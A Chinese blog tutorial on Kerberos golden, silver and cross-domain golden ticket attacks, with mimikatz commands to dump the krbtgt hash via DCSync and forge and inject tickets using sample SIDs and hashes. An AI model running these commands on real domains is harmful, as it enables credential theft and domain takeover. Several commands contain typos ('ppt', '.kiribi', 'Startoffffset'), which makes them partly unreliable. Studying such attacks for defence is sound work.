沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

内网渗透入门之票据传递

0x00 前言

在前文内网渗透入门之基础知识中,我们已经详细接触了Kerberos协议的相关知识以及认证过程,本文基于之前的学习,来学习一下与之有关的“票据传递攻击”。这种攻击一般用来内网渗透中的横向移动,其分为:

  • 黄金票据
  • 白银票据

0x01 黄金票据


简单介绍

Golden Ticket,黄金票据。是指通过伪造TGT,来进行下一步的Kerberos认证,从而获取到访问服务器的ST。其原理是,AS应答Client时,会返回如下的信息:

  • TGT(在KDC中使用krbtgt的NTML HASH加密而成的),其中包含Client/TGS SessionKey等信息
  • 使用KDC生成的Client密钥加密KDC生成的Client/TGS SessionKey

另外TGS对用户的认证过程中,只要能够成功解密TGT就会认为用户是可信的,而这就意味着,一旦我们获取到krbtgt中的hash值时(拿下了域控),就能够伪造TGT票据和Client/TGS SessionKey。只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作条件

制作金票的条件:

1、域名称

2、域的SID(Object Security ID)值

3、域的KRBTGT账户密码HASH(可以是aes256_hmac或者是ntml hash)

4、伪造用户名,可以是任意的

mimikatz

mimikatz由法国人Benjamin Delpy( 推特账号为@gentilkiwi,中文为@猕猴桃)开发,借此来验证微软认证协议的脆弱性,其原理为从lsass.exe (Windows会把密码存入其中)进程中获取当前登录系统用户名的密码或其他的一些凭证信息。

我们可以借助mimikatz收集Hash,最后伪造出黄金票据。

1.域名称

net view /domain

图以后补上

2.NTML HASH以及SID

mimikatz# "lsadump::dcsync /domain:域名称.com /user:krbtgt"

图以后补上

注意,任意一个域用户的SID号是由域的ID+用户的ID号共同组成:

如:S-1-5-21-3698344474-843673033-3679835876-500

但是我们这里只需要域的SID,所以要去掉最后一段数字

3.生成黄金票据

mimikatz# "kerberos::golden /domain:test666.com /sid:S-1-5-21-1497092113-2272191533-193330055 /krbtgt:cac9c793eb3ba2c6abbcc9c14f18a41f /user:任意用户名 /ticket:golden.kirbi"

4.清空Client上的票据

清空一般是为了防止干扰

mimikatz# kerberos::purge

5.ptt, pass the tickct,进行票据传递

mimikatz# kerberos::ppt ./golden.kiribi

6.查看票据

mimikatz# kerberos::list

特点

1.需要与DC通信(需要与DC上的TGS的交互)

2.需要krbtgt的Hash

0x02 白银票据


简单介绍

Silver Tickets,白银票据。是通过伪造ST获得权限,但因为所访问的对象在TGT中通过SID指定了,所以通过白银票据只能访问特定的服务。其原理是,在TGS应答Client,会发送以下信息:

  • ST(在TGS使用Server的Hash加密而成的),其中包含Client/Server SessionKey等信息
  • 使用Client/TGS SessionKey加密的Client/Server SessionKey

而这就意味着,只要我们获得了对应Server的Hash,则可以伪造出自己的ST,从而访问特定服务(之所以是特定,是因为pac只能KDC制作和查看,我们无法伪造pac,所以只能访问不验证pac的服务,如cifs)。

制作条件

  • /domain:当前域名称
  • /sid:SID值
  • /target:目标主机
  • /service:服务名称,如cifs
  • /rc4:目标主机的HASH值
  • /user:任意的用户名
  • /ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:xxx /ptt

特点

  • 白银票据不经过域控
  • 只能访问不验证pac的服务

0x03 增强版黄金票据


普通黄金票据的局限性

普通黄金票据不能跨域,只能在当前域使用,不能跨域,包括子域对父域的跨域。(但不清楚父域到子域算不算跨域,查了半天)

其原因为:

在生成golden票据的时候,/sid指定的是子域的sid,mimikatz拿到sid后会在尾部拼接RID号,Enterprise Admins用户组只存在于根域域控中,其他域的最高管理员的组为Domain Admins, 所以构造的SID在整个域林中都是不存在的,也就是无法跨域和访问其他域的资源

增强版本

通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。

mimikatz "kerberos::golden /admin:administrator /domain:news.rootkit.org` /sid:子域sid /sids:根域sids /krbtgt:子域krbtgt的hash /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

Startoffffsetendin分别代表偏移量和长度(不知道什么意思,很多文章都没讲清楚),renewmax表示生成的票据的最长时间。

0x04 参考


Active-Directory-Pentest-Notes/域渗透-Ticket.md at master · uknowsec/Active-Directory-Pentest-Notes (github.com)

浅析黄金票据与白银票据 - Shu1L’s blog